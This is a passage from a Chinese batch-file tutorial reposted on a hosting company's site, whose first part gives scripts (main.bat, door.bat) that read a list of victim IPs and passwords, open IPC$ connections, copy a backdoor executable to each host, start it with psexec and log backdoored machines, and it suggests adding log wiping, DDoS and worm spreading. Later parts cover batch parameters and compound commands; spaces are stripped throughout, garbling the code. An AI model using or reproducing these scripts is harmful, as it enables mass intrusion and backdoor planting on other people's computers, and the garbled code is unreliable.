快速业务通道

批处理文件制作实例精彩教程第1/5页

作者 佚名 来源 批处理 浏览 发布时间 2013-07-09
t中的内容传递给door.bat中的参数%i%j%k。
而cultivate.bat无非就是用netuse命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(Iferrorlever=)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
delims=表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i%%j%%k表示的对象来排列,一般就是ippasswordusername。
代码雏形:

---------------cutherethensaveasabatchfile(Icallitmain.bat)---------------------------
@echooff
@if"%1"==""gotousage
@for/f"tokens=1,2,3delims="%%iin(victim.txt)dostartcallIPChack.bat%%i%%j%%k
@gotoend
:usage
@echorunthisbatchindosmodle.orjustdouble-clickit.
:end
---------------cutherethensaveasabatchfile(Icallitmain.bat)---------------------------


-------------------cutherethensaveasabatchfile(Icallitdoor.bat)-----------------------------
@netuse////%1//ipc$%3/u:"%2"
@iferrorlevel1gotofailed
@echoTryingtoestablishtheIPC$connection…………OK
@copywindrv32.exe////%1//admin$//system32&&ifnoterrorlevel1echoIP%1USER%2PWD%3>>ko.txt
@psexec////%1c://winnt//system32//windrv32.exe
@psexec////%1netstartwindrv32&&ifnoterrorlevel1echo%1Backdoored>>ko.txt
:failed
@echoSorrycannotconnectedtothevictim.
-----------------cutherethensaveasabatchfile(Icallitdoor.bat)--------------------------------
这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.
二.如何在批处理文件中使用参数

批处理中可以使用参数,一般从1%到9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。
sample1:fomat.bat
@echooff
if"%1"=="a"formata:
:format
@formata:/q/u/auotset
@echopleaseinsertanotherdisktodriverA.
@pause
@gotofomat
这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bata,呵呵,好像有点画蛇添足了~^_^
sample2:
当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ippasswordusername当着参数来赋给这个批处理,这样就不用每次都打命令了。
@echooff
@netuse////1%//ipc$"2%"/u:"3%"注意哦,这里PASSWORD是第二个参数。
@iferrorlevel1echoconnectionfailed
怎么样,使用参数还是比较简单的吧?你这么帅一定学会了^_^.No.3

三.如何使用组合命令(CompoundCommand)

1.&

Usage:第一条命令&第二条命令[&第三条命令...]

用这种方法可以同时执行多条命令,而不管命令是否执行成功

Sample:
C://>dirz:&dirc://Ex4rch
Thesystemcannotfindthepathspecified.
VolumeindriveChasnolabel.
VolumeSerialNumberis0078-59FB

Directoryofc://Ex4rch

2002-05-1423:51<DIR>.
2002-05-1423:51<DIR>..
2002-05-1423:5114sometips.gif

2.&&

Usage:第一条命令&&第二条命令[&&第三条命令...]

用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;

Sample:
C://>dirz:&&dirc://Ex4rch
Thesystemcannotfindthepathspecified.

C://>dirc://Ex4rch&&dirz:
VolumeindriveChasnolabel.
VolumeSerialNumberis0078-59FB

Direc

凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务,公司网站:http://www.lingzhong.cn 为了给广大客户了解更多的技术信息,本技术文章收集来源于网络,凌众科技尊重文章作者的版权,如果有涉及你的版权有必要删除你的文章,请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!

分享到: 更多

Copyright ©1999-2011 厦门凌众科技有限公司 厦门优通互联科技开发有限公司 All rights reserved

地址(ADD):厦门软件园二期望海路63号701E(东南融通旁) 邮编(ZIP):361008

电话:0592-5908028 传真:0592-5908039 咨询信箱:web@lingzhong.cn 咨询OICQ:173723134

《中华人民共和国增值电信业务经营许可证》闽B2-20100024  ICP备案:闽ICP备05037997号